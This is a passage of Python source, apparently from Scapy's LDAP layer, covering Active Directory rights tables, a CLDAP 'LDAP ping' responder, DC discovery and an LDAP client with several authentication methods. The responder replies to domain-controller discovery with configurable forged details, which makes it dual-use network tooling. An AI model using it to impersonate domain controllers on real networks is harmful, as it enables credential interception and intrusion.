uuid.UUID(\"4b6e08c3-df3c-11d1-9c86-006008764d0e\"): \"msmq-Peek-computer-Journal\",\n    uuid.UUID(\"4b6e08c1-df3c-11d1-9c86-006008764d0e\"): \"msmq-Peek-Dead-Letter\",\n    uuid.UUID(\"06bd3200-df3e-11d1-9c86-006008764d0e\"): \"msmq-Receive\",\n    uuid.UUID(\"4b6e08c2-df3c-11d1-9c86-006008764d0e\"): \"msmq-Receive-computer-Journal\",\n    uuid.UUID(\"4b6e08c0-df3c-11d1-9c86-006008764d0e\"): \"msmq-Receive-Dead-Letter\",\n    uuid.UUID(\"06bd3203-df3e-11d1-9c86-006008764d0e\"): \"msmq-Receive-journal\",\n    uuid.UUID(\"06bd3202-df3e-11d1-9c86-006008764d0e\"): \"msmq-Send\",\n    uuid.UUID(\"a1990816-4298-11d1-ade2-00c04fd8d5cd\"): \"Open-Address-Book\",\n    uuid.UUID(\n        \"1131f6ae-9c07-11d1-f79f-00c04fc2dcd2\"\n    ): \"Read-Only-Replication-Secret-Synchronization\",\n    uuid.UUID(\"45ec5156-db7e-47bb-b53f-dbeb2d03c40f\"): \"Reanimate-Tombstones\",\n    uuid.UUID(\"0bc1554e-0a99-11d1-adbb-00c04fd8d5cd\"): \"Recalculate-Hierarchy\",\n    uuid.UUID(\n        \"62dd28a8-7f46-11d2-b9ad-00c04f79f805\"\n    ): \"Recalculate-Security-Inheritance\",\n    uuid.UUID(\"ab721a56-1e2f-11d0-9819-00aa0040529b\"): \"Receive-As\",\n    uuid.UUID(\"9432c620-033c-4db7-8b58-14ef6d0bf477\"): \"Refresh-Group-Cache\",\n    uuid.UUID(\"1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8\"): \"Reload-SSL-Certificate\",\n    uuid.UUID(\"7726b9d5-a4b4-4288-a6b2-dce952e80a7f\"): \"Run-Protect_Admin_Groups-Task\",\n    uuid.UUID(\"91d67418-0135-4acc-8d79-c08e857cfbec\"): \"SAM-Enumerate-Entire-Domain\",\n    uuid.UUID(\"ab721a54-1e2f-11d0-9819-00aa0040529b\"): \"Send-As\",\n    uuid.UUID(\"ab721a55-1e2f-11d0-9819-00aa0040529b\"): \"Send-To\",\n    uuid.UUID(\"ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501\"): \"Unexpire-Password\",\n    uuid.UUID(\n        \"280f369c-67c7-438e-ae98-1d46f3c6f541\"\n    ): \"Update-Password-Not-Required-Bit\",\n    uuid.UUID(\"be2bb760-7f46-11d2-b9ad-00c04f79f805\"): \"Update-Schema-Cache\",\n    uuid.UUID(\"ab721a53-1e2f-11d0-9819-00aa0040529b\"): \"User-Change-Password\",\n    uuid.UUID(\"00299570-246d-11d0-a768-00aa006e0529\"): \"User-Force-Change-Password\",\n    uuid.UUID(\"3e0f7e18-2c7a-4c10-ba82-4d926db99a3e\"): \"DS-Clone-Domain-Controller\",\n    uuid.UUID(\"084c93a2-620d-4879-a836-f0ae47de0e89\"): \"DS-Read-Partition-Secrets\",\n    uuid.UUID(\"94825a8d-b171-4116-8146-1e34d8f54401\"): \"DS-Write-Partition-Secrets\",\n    uuid.UUID(\"4125c71f-7fac-4ff0-bcb7-f09a41325286\"): \"DS-Set-Owner\",\n    uuid.UUID(\"88a9933e-e5c8-4f2a-9dd7-2527416b8092\"): \"DS-Bypass-Quota\",\n    uuid.UUID(\"9b026da6-0d3c-465c-8bee-5199d7165cba\"): \"DS-Validated-Write-Computer\",\n}\n\n# [MS-ADTS] sect 5.1.3.2 and\n# https://learn.microsoft.com/en-us/windows/win32/secauthz/directory-services-access-rights\n\nLDAP_DS_ACCESS_RIGHTS = {\n    0x00000001: \"CREATE_CHILD\",\n    0x00000002: \"DELETE_CHILD\",\n    0x00000004: \"LIST_CONTENTS\",\n    0x00000008: \"WRITE_PROPERTY_EXTENDED\",\n    0x00000010: \"READ_PROP\",\n    0x00000020: \"WRITE_PROP\",\n    0x00000040: \"DELETE_TREE\",\n    0x00000080: \"LIST_OBJECT\",\n    0x00000100: \"CONTROL_ACCESS\",\n    0x00010000: \"DELETE\",\n    0x00020000: \"READ_CONTROL\",\n    0x00040000: \"WRITE_DAC\",\n    0x00080000: \"WRITE_OWNER\",\n    0x00100000: \"SYNCHRONIZE\",\n    0x01000000: \"ACCESS_SYSTEM_SECURITY\",\n    0x80000000: \"GENERIC_READ\",\n    0x40000000: \"GENERIC_WRITE\",\n    0x20000000: \"GENERIC_EXECUTE\",\n    0x10000000: \"GENERIC_ALL\",\n}\n\n\n# Small CLDAP Answering machine: [MS-ADTS] 6.3.3 - Ldap ping\n\n\nclass LdapPing_am(AnsweringMachine):\n    function_name = \"ldappingd\"\n    filter = \"udp port 389 or 138\"\n    send_function = staticmethod(send)\n\n    def parse_options(\n        self,\n        NetbiosDomainName=\"DOMAIN\",\n        DomainGuid=uuid.UUID(\"192bc4b3-0085-4521-83fe-062913ef59f2\"),\n        DcSiteName=\"Default-First-Site-Name\",\n        NetbiosComputerName=\"SRV1\",\n        DnsForestName=None,\n        DnsHostName=None,\n        src_ip=None,\n        src_ip6=None,\n    ):\n        self.NetbiosDomainName = NetbiosDomainName\n        self.DnsForestName = DnsForestName or (NetbiosDomainName + \".LOCAL\")\n        self.DomainGuid = DomainGuid\n        self.DcSiteName = DcSiteName\n        self.NetbiosComputerName = NetbiosComputerName\n        self.DnsHostName = DnsHostName or (\n            NetbiosComputerName + \".\" + self.DnsForestName\n        )\n        self.src_ip = src_ip\n        self.src_ip6 = src_ip6\n\n    def is_request(self, req):\n        # [MS-ADTS] 6.3.3 - Example:\n        # (&(DnsDomain=abcde.corp.microsoft.com)(Host=abcdefgh-dev)(User=abcdefgh-\n        # dev$)(AAC=\\80\\00\\00\\00)(DomainGuid=\\3b\\b0\\21\\ca\\d3\\6d\\d1\\11\\8a\\7d\\b8\\df\\b1\\56\\87\\1f)(NtVer\n        # =\\06\\00\\00\\00))\n        if NBTDatagram in req:\n            # special case: mailslot ping\n            from scapy.layers.smb import SMBMailslot_Write, NETLOGON_SAM_LOGON_REQUEST\n\n            try:\n                return (\n                    SMBMailslot_Write in req and NETLOGON_SAM_LOGON_REQUEST in req.Data\n                )\n            except AttributeError:\n                return False\n        if CLDAP not in req or not isinstance(req.protocolOp, LDAP_SearchRequest):\n            return False\n        req = req.protocolOp\n        return (\n            req.attributes\n            and req.attributes[0].type.val.lower() == b\"netlogon\"\n            and req.filter\n            and isinstance(req.filter.filter, LDAP_FilterAnd)\n            and any(\n                x.filter.attributeType.val == b\"NtVer\" for x in req.filter.filter.vals\n            )\n        )\n\n    def make_reply(self, req):\n        if NBTDatagram in req:\n            # Special case\n            return self.make_mailslot_ping_reply(req)\n        if IPv6 in req:\n            resp = IPv6(dst=req[IPv6].src, src=self.src_ip6 or req[IPv6].dst)\n        else:\n            resp = IP(dst=req[IP].src, src=self.src_ip or req[IP].dst)\n        resp /= UDP(sport=req.dport, dport=req.sport)\n        # get the DnsDomainName from the request\n        try:\n            DnsDomainName = next(\n                x.filter.attributeValue.val\n                for x in req.protocolOp.filter.filter.vals\n                if x.filter.attributeType.val == b\"DnsDomain\"\n            )\n        except StopIteration:\n            return\n        return (\n            resp\n            / CLDAP(\n                protocolOp=LDAP_SearchResponseEntry(\n                    attributes=[\n                        LDAP_PartialAttribute(\n                            values=[\n                                LDAP_AttributeValue(\n                                    value=ASN1_STRING(\n                                        val=bytes(\n                                            NETLOGON_SAM_LOGON_RESPONSE_EX(\n                                                # Mandatory fields\n                                                DnsDomainName=DnsDomainName,\n                                                NtVersion=\"V1+V5\",\n                                                LmNtToken=65535,\n                                                Lm20Token=65535,\n                                                # Below can be customized\n                                                Flags=0x3F3FD,\n                                                DomainGuid=self.DomainGuid,\n                                                DnsForestName=self.DnsForestName,\n                                                DnsHostName=self.DnsHostName,\n                                                NetbiosDomainName=self.NetbiosDomainName,  # noqa: E501\n                                                NetbiosComputerName=self.NetbiosComputerName,  # noqa: E501\n                                                UserName=b\".\",\n                                                DcSiteName=self.DcSiteName,\n                                                ClientSiteName=self.DcSiteName,\n                                            )\n                                        )\n                                    )\n                                )\n                            ],\n                            type=ASN1_STRING(b\"Netlogon\"),\n                        )\n                    ],\n                ),\n                messageID=req.messageID,\n                user=None,\n            )\n            / CLDAP(\n                protocolOp=LDAP_SearchResponseResultDone(\n                    referral=None,\n                    resultCode=0,\n                ),\n                messageID=req.messageID,\n                user=None,\n            )\n        )\n\n    def make_mailslot_ping_reply(self, req):\n        # type: (Packet) -> Packet\n        from scapy.layers.smb import (\n            SMBMailslot_Write,\n            SMB_Header,\n            DcSockAddr,\n            NETLOGON_SAM_LOGON_RESPONSE_EX,\n        )\n\n        resp = IP(dst=req[IP].src) / UDP(\n            sport=req.dport,\n            dport=req.sport,\n        )\n        address = self.src_ip or get_if_addr(self.optsniff.get(\"iface\", conf.iface))\n        resp /= (\n            NBTDatagram(\n                SourceName=req.DestinationName,\n                SUFFIX1=req.SUFFIX2,\n                DestinationName=req.SourceName,\n                SUFFIX2=req.SUFFIX1,\n                SourceIP=address,\n            )\n            / SMB_Header()\n            / SMBMailslot_Write(\n                Name=req.Data.MailslotName,\n            )\n        )\n        NetbiosDomainName = req.DestinationName.strip()\n        resp.Data = NETLOGON_SAM_LOGON_RESPONSE_EX(\n            # Mandatory fields\n            NetbiosDomainName=NetbiosDomainName,\n            DcSockAddr=DcSockAddr(\n                sin_addr=address,\n            ),\n            NtVersion=\"V1+V5EX+V5EX_WITH_IP\",\n            LmNtToken=65535,\n            Lm20Token=65535,\n            # Below can be customized\n            Flags=0x3F3FD,\n            DomainGuid=self.DomainGuid,\n            DnsForestName=self.DnsForestName,\n            DnsDomainName=self.DnsForestName,\n            DnsHostName=self.DnsHostName,\n            NetbiosComputerName=self.NetbiosComputerName,\n            DcSiteName=self.DcSiteName,\n            ClientSiteName=self.DcSiteName,\n        )\n        return resp\n\n\n_located_dc = collections.namedtuple(\"LocatedDC\", [\"ip\", \"samlogon\"])\n_dclocatorcache = conf.netcache.new_cache(\"dclocator\", 600)\n\n\n@conf.commands.register\ndef dclocator(\n    realm, qtype=\"A\", mode=\"ldap\", port=None, timeout=1, NtVersion=None, debug=0\n):\n    \"\"\"\n    Perform a DC Locator as per [MS-ADTS] sect 6.3.6 or RFC4120.\n\n    :param realm: the kerberos realm to locate\n    :param mode: Detect if a server is up and joinable thanks to one of:\n\n    - 'nocheck': Do not check that servers are online.\n    - 'ldap': Use the LDAP ping (CLDAP) per [MS-ADTS]. Default.\n              This will however not work with MIT Kerberos servers.\n    - 'connect': connect to specified port to test the connection.\n\n    :param mode: in connect mode, the port to connect to. (e.g. 88)\n    :param debug: print debug logs\n\n    This is cached in conf.netcache.dclocator.\n    \"\"\"\n    if NtVersion is None:\n        # Windows' default\n        NtVersion = (\n            0x00000002  # V5\n            | 0x00000004  # V5EX\n            | 0x00000010  # V5EX_WITH_CLOSEST_SITE\n            | 0x01000000  # AVOID_NT4EMUL\n            | 0x20000000  # IP\n        )\n    # Check cache\n    cache_ident = \";\".join([realm, qtype, mode, str(NtVersion)]).lower()\n    if cache_ident in _dclocatorcache:\n        return _dclocatorcache[cache_ident]\n    # Perform DNS-Based discovery (6.3.6.1)\n    # 1. SRV records\n    qname = \"_kerberos._tcp.dc._msdcs.%s\" % realm.lower()\n    if debug:\n        log_runtime.info(\"DC Locator: requesting SRV for '%s' ...\" % qname)\n    try:\n        hosts = [\n            x.target\n            for x in dns_resolve(\n                qname=qname,\n                qtype=\"SRV\",\n                timeout=timeout,\n            )\n        ]\n    except TimeoutError:\n        raise TimeoutError(\"Resolution of %s timed out\" % qname)\n    if not hosts:\n        raise ValueError(\"No DNS record found for %s\" % qname)\n    elif debug:\n        log_runtime.info(\n            \"DC Locator: got %s. Resolving %s records ...\" % (hosts, qtype)\n        )\n    # 2. A records\n    ips = []\n    for host in hosts:\n        arec = dns_resolve(\n            qname=host,\n            qtype=qtype,\n            timeout=timeout,\n        )\n        if arec:\n            ips.extend(x.rdata for x in arec)\n    if not ips:\n        raise ValueError(\"Could not get any %s records for %s\" % (qtype, hosts))\n    elif debug:\n        log_runtime.info(\"DC Locator: got %s . Mode: %s\" % (ips, mode))\n    # Pick first online host. We have three options\n    if mode == \"nocheck\":\n        # Don't check anything. Not recommended\n        return _located_dc(ips[0], None)\n    elif mode == \"connect\":\n        assert port is not None, \"Must provide a port in connect mode !\"\n        # Compatibility with MIT Kerberos servers\n        for ip in ips:  # TODO: \"addresses in weighted random order [RFC2782]\"\n            if debug:\n                log_runtime.info(\"DC Locator: connecting to %s on %s ...\" % (ip, port))\n            try:\n                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                sock.settimeout(timeout)\n                sock.connect((ip, port))\n                # Success\n                result = _located_dc(ip, None)\n                # Cache\n                _dclocatorcache[cache_ident] = result\n                return result\n            except OSError:\n                # Host timed out, No route to host, etc.\n                if debug:\n                    log_runtime.info(\"DC Locator: %s timed out.\" % ip)\n                continue\n            finally:\n                sock.close()\n        raise ValueError(\"No host was reachable on port %s among %s\" % (port, ips))\n    elif mode == \"ldap\":\n        # Real 'LDAP Ping' per [MS-ADTS]\n        for ip in ips:  # TODO: \"addresses in weighted random order [RFC2782]\"\n            if debug:\n                log_runtime.info(\"DC Locator: LDAP Ping %s on ...\" % ip)\n            try:\n                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n                sock.settimeout(timeout)\n                sock.connect((ip, 389))\n                sock = SimpleSocket(sock, CLDAP)\n                pkt = sock.sr1(\n                    CLDAP(\n                        protocolOp=LDAP_SearchRequest(\n                            filter=LDAP_Filter(\n                                filter=LDAP_FilterAnd(\n                                    vals=[\n                                        LDAP_Filter(\n                                            filter=LDAP_FilterEqual(\n                                                attributeType=ASN1_STRING(b\"DnsDomain\"),\n                                                attributeValue=ASN1_STRING(realm),\n                                            )\n                                        ),\n                                        LDAP_Filter(\n                                            filter=LDAP_FilterEqual(\n                                                attributeType=ASN1_STRING(b\"NtVer\"),\n                                                attributeValue=ASN1_STRING(\n                                                    struct.pack(\"<I\", NtVersion)\n                                                ),\n                                            )\n                                        ),\n                                    ]\n                                )\n                            ),\n                            attributes=[\n                                LDAP_SearchRequestAttribute(\n                                    type=ASN1_STRING(b\"Netlogon\")\n                                )\n                            ],\n                        ),\n                        user=None,\n                    ),\n                    timeout=timeout,\n                    verbose=0,\n                )\n                if pkt:\n                    # Check if we have a search response\n                    response = None\n                    if isinstance(pkt.protocolOp, LDAP_SearchResponseEntry):\n                        try:\n                            response = next(\n                                NETLOGON(x.values[0].value.val)\n                                for x in pkt.protocolOp.attributes\n                                if x.type.val == b\"Netlogon\"\n                            )\n                        except StopIteration:\n                            pass\n                    result = _located_dc(ip, response)\n                    # Cache\n                    _dclocatorcache[cache_ident] = result\n                    return result\n            except OSError:\n                # Host timed out, No route to host, etc.\n                if debug:\n                    log_runtime.info(\"DC Locator: %s timed out.\" % ip)\n                continue\n            finally:\n                sock.close()\n        raise ValueError(\"No LDAP ping succeeded on any of %s. Try another mode?\" % ips)\n\n\n#####################\n# Basic LDAP client #\n#####################\n\n\nclass LDAP_BIND_MECHS(StrEnum):\n    NONE = \"ANONYMOUS\"\n    SIMPLE = \"SIMPLE\"\n    SASL_GSSAPI = \"GSSAPI\"\n    SASL_GSS_SPNEGO = \"GSS-SPNEGO\"\n    SASL_EXTERNAL = \"EXTERNAL\"\n    SASL_DIGEST_MD5 = \"DIGEST-MD5\"\n    # [MS-ADTS] extension\n    SICILY = \"SICILY\"\n\n\nclass LDAP_SASL_GSSAPI_SsfCap(Packet):\n    \"\"\"\n    RFC2222 sect 7.2.1 and 7.2.2 negotiate token\n    \"\"\"\n\n    fields_desc = [\n        FlagsField(\n            \"supported_security_layers\",\n            0,\n            -8,\n            {\n                # https://github.com/cyrusimap/cyrus-sasl/blob/7e2feaeeb2e37d38cb5fa957d0e8a599ced22612/plugins/gssapi.c#L221\n                0x01: \"NONE\",\n                0x02: \"INTEGRITY\",\n                0x04: \"CONFIDENTIALITY\",\n            },\n        ),\n        ThreeBytesField(\"max_output_token_size\", 0),\n    ]\n\n\nclass LDAP_SASL_Buffer(Packet):\n    \"\"\"\n    RFC 4422 sect 3.7\n    \"\"\"\n\n    # \"Each buffer of protected data is transferred over the underlying\n    # transport connection as a sequence of octets prepended with a four-\n    # octet field in network byte order that represents the length of the\n    # buffer.\"\n\n    fields_desc = [\n        FieldLenField(\"BufferLength\", None, fmt=\"!I\", length_of=\"Buffer\"),\n        _GSSAPI_Field(\"Buffer\", LDAP),\n    ]\n\n    def hashret(self):\n        return b\"ldap\"\n\n    def answers(self, other):\n        return isinstance(other, LDAP_SASL_Buffer)\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 4:\n            return None\n        if data[0] == 0x30:\n            # Add a heuristic to detect LDAP errors\n            xlen, x = BER_len_dec(BER_id_dec(data)[1])\n            if xlen and xlen == len(x):\n                return LDAP(data)\n        # Check BufferLength\n        length = struct.unpack(\"!I\", data[:4])[0] + 4\n        if len(data) >= length:\n            return cls(data)\n\n\nclass LDAP_Exception(RuntimeError):\n    __slots__ = [\"resultCode\", \"diagnosticMessage\"]\n\n    def __init__(self, *args, **kwargs):\n        resp = kwargs.pop(\"resp\", None)\n        if resp:\n            self.resultCode = resp.protocolOp.resultCode\n            self.diagnosticMessage = resp.protocolOp.diagnosticMessage.val.rstrip(\n                b\"\\x00\"\n            ).decode(errors=\"backslashreplace\")\n        else:\n            self.resultCode = kwargs.pop(\"resultCode\", None)\n            self.diagnosticMessage = kwargs.pop(\"diagnosticMessage\", None)\n        super(LDAP_Exception, self).__init__(*args, **kwargs)\n        # If there's a 'data' string argument, attempt to parse the error code.\n        try:\n            m = re.match(r\"(\\d+): LdapErr.*\", self.diagnosticMessage)\n            if m:\n                errstr = m.group(1)\n                err = int(errstr, 16)\n                if err in STATUS_ERREF:\n                    self.diagnosticMessage = self.diagnosticMessage.replace(\n                        errstr, errstr + \" (%s)\" % STATUS_ERREF[err], 1\n                    )\n        except ValueError:\n            pass\n        # Add note if this exception is raised\n        self.add_note(self.diagnosticMessage)\n\n\nclass LDAP_Client(object):\n    \"\"\"\n    A basic LDAP client\n\n    The complete documentation is available at\n    https://scapy.readthedocs.io/en/latest/layers/ldap.html\n\n    Example 1 - SICILY - NTLM (with encryption)::\n\n        client = LDAP_Client()\n        client.connect(\"192.168.0.100\")\n        ssp = NTLMSSP(UPN=\"Administrator\", PASSWORD=\"Password1!\")\n        client.bind(\n            LDAP_BIND_MECHS.SICILY,\n            ssp=ssp,\n            encrypt=True,\n        )\n\n    Example 2 - SASL_GSSAPI - Kerberos (with signing)::\n\n        client = LDAP_Client()\n        client.connect(\"192.168.0.100\")\n        ssp = KerberosSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"Password1!\",\n                          SPN=\"ldap/dc1.domain.local\")\n        client.bind(\n            LDAP_BIND_MECHS.SASL_GSSAPI,\n            ssp=ssp,\n            sign=True,\n        )\n\n    Example 3 - SASL_GSS_SPNEGO - NTLM / Kerberos::\n\n        client = LDAP_Client()\n        client.connect(\"192.168.0.100\")\n        ssp = SPNEGOSSP([\n            NTLMSSP(UPN=\"Administrator\", PASSWORD=\"Password1!\"),\n            KerberosSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"Password1!\",\n                        SPN=\"ldap/dc1.domain.local\"),\n        ])\n        client.bind(\n            LDAP_BIND_MECHS.SASL_GSS_SPNEGO,\n            ssp=ssp,\n        )\n\n    Example 4 - Simple bind over TLS::\n\n        client = LDAP_Client()\n        client.connect(\"192.168.0.100\", use_ssl=True)\n        client.bind(\n            LDAP_BIND_MECHS.SIMPLE,\n            simple_username=\"Administrator\",\n            simple_password=\"Password1!\",\n        )\n    \"\"\"\n\n    def __init__(\n        self,\n        verb=True,\n    ):\n        self.sock = None\n        self.host = None\n        self.verb = verb\n        self.ssl = False\n        self.sslcontext = None\n        self.ssp = None\n        self.sspcontext = None\n        self.encrypt = False\n        self.sign = False\n        # Session status\n        self.sasl_wrap = False\n        self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS\n        self.bound = False\n        self.messageID = 0\n\n    def connect(\n        self,\n        host,\n        port=None,\n        use_ssl=False,\n        sslcontext=None,\n        sni=None,\n        no_check_certificate=False,\n        timeout=5,\n    ):\n        \"\"\"\n        Initiate a connection\n\n        :param host: the IP or hostname to connect to.\n        :param port: the port to connect to. (Default: 389 or 636)\n\n        :param use_ssl: whether to use LDAPS or not. (Default: False)\n        :param sslcontext: an optional SSLContext to use.\n        :param sni: (optional) specify the SNI to use if LDAPS, otherwise use ip.\n        :param no_check_certificate: with SSL, do not check the certificate\n        \"\"\"\n        self.ssl = use_ssl\n        self.sslcontext = sslcontext\n        self.timeout = timeout\n        self.host = host\n\n        if port is None:\n            if self.ssl:\n                port = 636\n            else:\n                port = 389\n\n        # Create and configure socket\n        sock = socket.socket()\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n        sock.settimeout(timeout)\n\n        # Connect\n        if self.verb:\n            print(\n                \"\\u2503 Connecting to %s on port %s%s...\"\n                % (\n                    host,\n                    port,\n                    \" with SSL\" if self.ssl else \"\",\n                )\n            )\n        sock.connect((host, port))\n        if self.verb:\n            print(\n                conf.color_theme.green(\n                    \"\\u2514 Connected from %s\" % repr(sock.getsockname())\n                )\n            )\n\n        # For SSL, build and apply SSLContext\n        if self.ssl:\n            if self.sslcontext is None:\n                if no_check_certificate:\n                    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n                    context.check_hostname = False\n                    context.verify_mode = ssl.CERT_NONE\n                else:\n                    context = ssl.create_default_context()\n            else:\n                context = self.sslcontext\n            sock = context.wrap_socket(sock, server_hostname=sni or host)\n\n        # Wrap the socket in a Scapy socket\n        if self.ssl:\n            # Compute the channel binding token (CBT)\n            self.chan_bindings = GssChannelBindings.fromssl(\n                ChannelBindingType.TLS_SERVER_END_POINT,\n                sslsock=sock,\n            )\n\n            self.sock = SSLStreamSocket(sock, LDAP)\n        else:\n            self.sock = StreamSocket(sock, LDAP)\n\n    def sr1(self, protocolOp, controls: List[LDAP_Control] = None, **kwargs):\n        self.messageID += 1\n        if self.verb:\n            print(conf.color_theme.opening(\">> %s\" % protocolOp.__class__.__name__))\n\n        # Build packet\n        pkt = LDAP(\n            messageID=self.messageID,\n            protocolOp=protocolOp,\n            Controls=controls,\n        )\n\n        # If signing / encryption is used, apply\n        if self.sasl_wrap:\n            pkt = LDAP_SASL_Buffer(\n                Buffer=self.ssp.GSS_Wrap(\n                    self.sspcontext,\n                    bytes(pkt),\n                    conf_req_flag=self.encrypt,\n                    # LDAP on Windows doesn't use SECBUFFER_PADDING, which\n                    # isn't supported by GSS_WrapEx. We add our own flag to\n                    # tell it.\n                    qop_req=GSS_QOP_REQ_FLAGS.GSS_S_NO_SECBUFFER_PADDING,\n                )\n            )\n\n        # Send / Receive\n        resp = self.sock.sr1(\n            pkt,\n            verbose=0,\n            **kwargs,\n        )\n        # Check for unsolicited notification\n        if resp and LDAP in resp and resp[LDAP].unsolicited:\n            if self.verb:\n                resp.show()\n                print(conf.color_theme.fail(\"! Got unsolicited notification.\"))\n            return resp\n\n        # If signing / encryption is used, unpack\n        if self.sasl_wrap:\n            if resp.Buffer:\n                resp = LDAP(\n                    self.ssp.GSS_Unwrap(\n                        self.sspcontext,\n                        resp.Buffer,\n                    )\n                )\n            else:\n                resp = None\n\n        # Verbose display\n        if self.verb:\n            if not resp:\n                print(conf.color_theme.fail(\"! Bad response.\"))\n                return\n            else:\n                print(\n                    conf.color_theme.success(\n                        \"<< %s\"\n                        % (\n                            resp.protocolOp.__class__.__name__\n                            if LDAP in resp\n                            else resp.__class__.__name__\n                        )\n                    )\n                )\n        return resp\n\n    def bind(\n        self,\n        mech,\n        ssp=None,\n        sign: Optional[bool] = None,\n        encrypt: Optional[bool] = None,\n        simple_username=None,\n        simple_password=None,\n    ):\n        \"\"\"\n        Send Bind request.\n\n        :param mech: one of LDAP_BIND_MECHS\n        :param ssp: the SSP object to use for binding\n\n        :param sign: request signing when binding\n        :param encrypt: request encryption when binding\n\n        :\n        This acts differently based on the :mech: provided during initialization.\n        \"\"\"\n        # Bind default values: if NTLM then encrypt, else sign unless anonymous/simple\n        if encrypt is None:\n            encrypt = mech == LDAP_BIND_MECHS.SICILY\n        if sign is None and not encrypt:\n            sign = mech not in [LDAP_BIND_MECHS.NONE, LDAP_BIND_MECHS.SIMPLE]\n\n        # Store and check consistency\n        self.mech = mech\n        self.ssp = ssp  # type: SSP\n        self.sign = sign\n        self.encrypt = encrypt\n        self.sspcontext = None\n\n        if mech is None or not isinstance(mech, LDAP_BIND_MECHS):\n            raise ValueError(\n                \"'mech' attribute is required and must be one of LDAP_BIND_MECHS.\"\n            )\n\n        if mech == LDAP_BIND_MECHS.SASL_GSSAPI:\n            from scapy.layers.kerberos import KerberosSSP\n\n            if not isinstance(self.ssp, KerberosSSP):\n                raise ValueError(\"Only raw KerberosSSP is supported with SASL_GSSAPI !\")\n        elif mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO:\n            from scapy.layers.spnego import SPNEGOSSP\n\n            if not isinstance(self.ssp, SPNEGOSSP):\n                raise ValueError(\"Only SPNEGOSSP is supported with SASL_GSS_SPNEGO !\")\n        elif mech == LDAP_BIND_MECHS.SICILY:\n            from scapy.layers.ntlm import NTLMSSP\n\n            if not isinstance(self.ssp, NTLMSSP):\n                raise ValueError(\"Only raw NTLMSSP is supported with SICILY !\")\n            if self.sign and not self.encrypt:\n                raise ValueError(\n                    \"NTLM on LDAP does not support signing without encryption !\"\n                )\n        elif mech in [LDAP_BIND_MECHS.NONE, LDAP_BIND_MECHS.SIMPLE]:\n            if self.sign or self.encrypt:\n                raise ValueError(\"Cannot use 'sign' or 'encrypt' with NONE or SIMPLE !\")\n        else:\n            raise ValueError(\"Mech %s is still unimplemented !\" % mech)\n\n        if self.ssp is not None and mech in [\n            LDAP_BIND_MECHS.NONE,\n            LDAP_BIND_MECHS.SIMPLE,\n        ]:\n            raise ValueError(\"%s cannot be used with a ssp !\" % mech.value)\n\n        # Now perform the bind, depending on the mech\n        if self.mech == LDAP_BIND_MECHS.SIMPLE:\n            # Simple binding\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(simple_username or \"\"),\n                    authentication=LDAP_Authentication_simple(\n                        simple_password or \"\",\n                    ),\n                )\n            )\n            if (\n                LDAP not in resp\n                or not isinstance(resp.protocolOp, LDAP_BindResponse)\n                or resp.protocolOp.resultCode != 0\n            ):\n                raise LDAP_Exception(\n                    \"LDAP simple bind failed !\",\n                    resp=resp,\n                )\n            status = GSS_S_COMPLETE\n        elif self.mech == LDAP_BIND_MECHS.SICILY:\n            # [MS-ADTS] sect 5.1.1.1.3\n            # 1. Package Discovery\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(b\"\"),\n                    authentication=LDAP_Authentication_sicilyPackageDiscovery(b\"\"),\n                )\n            )\n            if resp.protocolOp.resultCode != 0:\n                raise LDAP_Exception(\n                    \"Sicily package discovery failed !\",\n                    resp=resp,\n                )\n            # 2. First exchange: Negotiate\n            self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                self.sspcontext,\n                target_name=\"ldap/\" + self.host,\n                req_flags=(\n                    GSS_C_FLAGS.GSS_C_REPLAY_FLAG\n                    | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG\n                    | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG\n                    | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.sign else 0)\n                    | (GSS_C_FLAGS.GSS_C_CONF_FLAG if self.encrypt else 0)\n                ),\n            )\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(b\"NTLM\"),\n                    authentication=LDAP_Authentication_sicilyNegotiate(\n                        bytes(token),\n                    ),\n                )\n            )\n            val = resp.protocolOp.serverCreds\n            if not val:\n                raise LDAP_Exception(\n                    \"Sicily negotiate failed !\",\n                    resp=resp,\n                )\n            # 3. Second exchange: Response\n            self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                self.sspcontext,\n                input_token=GSSAPI_BLOB(val),\n                target_name=\"ldap/\" + self.host,\n                chan_bindings=self.chan_bindings,\n            )\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(b\"NTLM\"),\n                    authentication=LDAP_Authentication_sicilyResponse(\n                        bytes(token),\n                    ),\n                )\n            )\n            if resp.protocolOp.resultCode != 0:\n                raise LDAP_Exception(\n                    \"Sicily response failed !\",\n                    resp=resp,\n                )\n        elif self.mech in [\n            LDAP_BIND_MECHS.SASL_GSS_SPNEGO,\n            LDAP_BIND_MECHS.SASL_GSSAPI,\n        ]:\n            # GSSAPI or SPNEGO\n            self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                self.sspcontext,\n                target_name=\"ldap/\" + self.host,\n                req_flags=(\n                    # Required flags for GSSAPI: RFC4752 sect 3.1\n                    GSS_C_FLAGS.GSS_C_REPLAY_FLAG\n                    | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG\n                    | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG\n                    | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.sign else 0)\n                    | (GSS_C_FLAGS.GSS_C_CONF_FLAG if self.encrypt else 0)\n                ),\n                chan_bindings=self.chan_bindings,\n            )\n            if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]:\n                raise RuntimeError(\n                    \"%s: GSS_Init_sec_context failed !\" % self.mech.name,\n                )\n            while token:\n                